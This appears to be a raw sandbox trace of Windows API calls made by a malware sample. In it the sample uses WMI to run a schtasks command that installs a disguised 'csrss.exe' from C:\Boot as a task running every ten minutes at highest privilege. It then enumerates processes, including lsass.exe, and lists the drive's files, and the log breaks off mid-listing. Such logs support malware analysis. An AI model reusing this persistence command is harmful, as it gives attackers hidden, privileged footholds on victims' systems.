[0068.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0068.595] WbemDefPath:IUnknown:AddRef (This=0x119b4e0) returned 0x3 [0068.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0068.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0068.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf113a0) returned 0x0 [0068.595] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf113a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.595] WbemDefPath:IUnknown:Release (This=0x1bf113a0) returned 0x3 [0068.595] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0068.595] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0068.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0068.595] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x2 [0068.595] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x1 [0068.595] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0068.595] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0068.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b4e0) returned 0x0 [0068.595] WbemDefPath:IUnknown:AddRef (This=0x119b4e0) returned 0x3 [0068.595] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x2 [0068.595] WbemDefPath:IWbemPath:SetText (This=0x119b4e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0068.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b660, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0068.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b4e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0068.595] WbemDefPath:IWbemPath:GetText (in: This=0x119b4e0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0068.595] WbemDefPath:IWbemPath:GetText (in: This=0x119b4e0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0068.595] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119b660) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b4e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0068.596] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b660, uIndex=0x0, pszName="root") returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0068.596] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b660, uIndex=0x1, pszName="cimv2") returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetServer (in: This=0x119b4e0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetServer (in: This=0x119b4e0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetServer (in: This=0x119b660, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetServer (in: This=0x119b660, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b660, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b660, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetText (in: This=0x119b660, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetText (in: This=0x119b660, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetText (in: This=0x119b660, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0068.596] WbemDefPath:IWbemPath:GetText (in: This=0x119b660, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0068.597] IWbemServices:GetObject (in: This=0x1bea6750, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef4050, ppCallResult=0x0) returned 0x0 [0068.600] IWbemClassObject:GetMethod (in: This=0x1bef4050, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef43c0, ppOutSignature=0x1b2fd9e0*=0x1bef4730) returned 0x0 [0068.600] IWbemClassObject:SpawnInstance (in: This=0x1bef43c0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf19f90) returned 0x0 [0068.600] IWbemClassObject:Get (in: This=0x1bf19f90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956898*=0, plFlavor=0x295689c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956898*=8, plFlavor=0x295689c*=32) returned 0x0 [0068.601] IWbemClassObject:Get (in: This=0x1bf19f90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956898*=8, plFlavor=0x295689c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956898*=8, plFlavor=0x295689c*=32) returned 0x0 [0068.601] IWbemClassObject:Put (This=0x1bf19f90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0068.604] IWbemClassObject:Get (in: This=0x1bf19f90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956928*=0, plFlavor=0x295692c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956928*=13, plFlavor=0x295692c*=32) returned 0x0 [0068.604] IWbemClassObject:Get (in: This=0x1bf19f90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956928*=13, plFlavor=0x295692c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956928*=13, plFlavor=0x295692c*=32) returned 0x0 [0068.604] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef3970) returned 0x0 [0068.604] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0068.604] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0068.604] IUnknown:AddRef (This=0x1bef3970) returned 0x3 [0068.605] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0068.605] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0068.605] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef3978) returned 0x0 [0068.605] IMarshal:GetUnmarshalClass (in: This=0x1bef3978, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0068.605] IUnknown:Release (This=0x1bef3978) returned 0x3 [0068.605] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0068.605] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0068.605] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0068.605] IUnknown:Release (This=0x1bef3970) returned 0x2 [0068.605] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0068.605] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0068.605] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0068.605] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0068.605] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0068.605] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0068.605] IUnknown:AddRef (This=0x1bef3970) returned 0x3 [0068.605] IWbemClassObject:Put (This=0x1bf19f90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef3970, varVal2=0x0), Type=0) returned 0x0 [0068.605] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b960, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0068.605] WbemDefPath:IWbemPath:GetText (in: This=0x119b960, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0068.605] WbemDefPath:IWbemPath:GetText (in: This=0x119b960, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0068.606] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0068.606] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0068.606] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.606] WbemDefPath:IWbemPath:GetText (in: This=0x119b960, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0068.606] WbemDefPath:IWbemPath:GetText (in: This=0x119b960, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0068.606] IWbemServices:ExecMethod (in: This=0x1bea6750, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf19f90, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1a7a0, ppCallResult=0x0) returned 0x0 [0068.842] IWbemClassObject:Get (in: This=0x1bf1a7a0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956c40*=0, plFlavor=0x2956c44*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf90, varVal2=0x0), pType=0x2956c40*=19, plFlavor=0x2956c44*=0) returned 0x0 [0068.842] IWbemClassObject:Get (in: This=0x1bf1a7a0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2956c40*=19, plFlavor=0x2956c44*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf90, varVal2=0x0), pType=0x2956c40*=19, plFlavor=0x2956c44*=0) returned 0x0 [0068.843] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xd98) returned 0x0 [0068.843] EnumProcesses (in: lpidProcess=0x29575f8, cb=0x400, lpcbNeeded=0x1b2fdf38 | out: lpidProcess=0x29575f8, lpcbNeeded=0x1b2fdf38) returned 1 [0068.850] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x1b2fdb90, nSize=0x101, Arguments=0x0 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0068.854] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x1d0) returned 0x2b8 [0068.854] GetExitCodeProcess (in: hProcess=0x2b8, lpExitCode=0x28f13bc | out: lpExitCode=0x28f13bc*=0x103) returned 1 [0068.855] CoTaskMemAlloc (cb=0x404) returned 0x1bebea40 [0068.855] QueryFullProcessImageNameA (in: hProcess=0x2b8, dwFlags=0x0, lpExeName=0x1bebea40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x1b2fe138) returned 1 [0068.855] CoTaskMemFree (pv=0x1bebea40) [0068.858] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xaf0) returned 0x2c4 [0068.858] GetExitCodeProcess (in: hProcess=0x2c4, lpExitCode=0x28f1fdc | out: lpExitCode=0x28f1fdc*=0x103) returned 1 [0068.858] CoTaskMemAlloc (cb=0x404) returned 0x1bebea40 [0068.858] QueryFullProcessImageNameA (in: hProcess=0x2c4, dwFlags=0x0, lpExeName=0x1bebea40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Windows Mail\\foxmailincmail.exe", lpdwSize=0x1b2fe138) returned 1 [0068.859] CoTaskMemFree (pv=0x1bebea40) [0068.862] CoTaskMemAlloc (cb=0x404) returned 0x1bebea40 [0068.862] QueryFullProcessImageNameA (in: hProcess=0x334, dwFlags=0x0, lpExeName=0x1bebea40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Microsoft OneDrive\\countryyou.exe", lpdwSize=0x1b2fe138) returned 1 [0068.862] CoTaskMemFree (pv=0x1bebea40) [0068.865] CoTaskMemAlloc (cb=0x20c) returned 0x1163970 [0068.865] GetSystemDirectoryW (in: lpBuffer=0x1163970, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0068.865] CoTaskMemFree (pv=0x1163970) [0068.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0068.865] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0068.865] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11f6370 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, 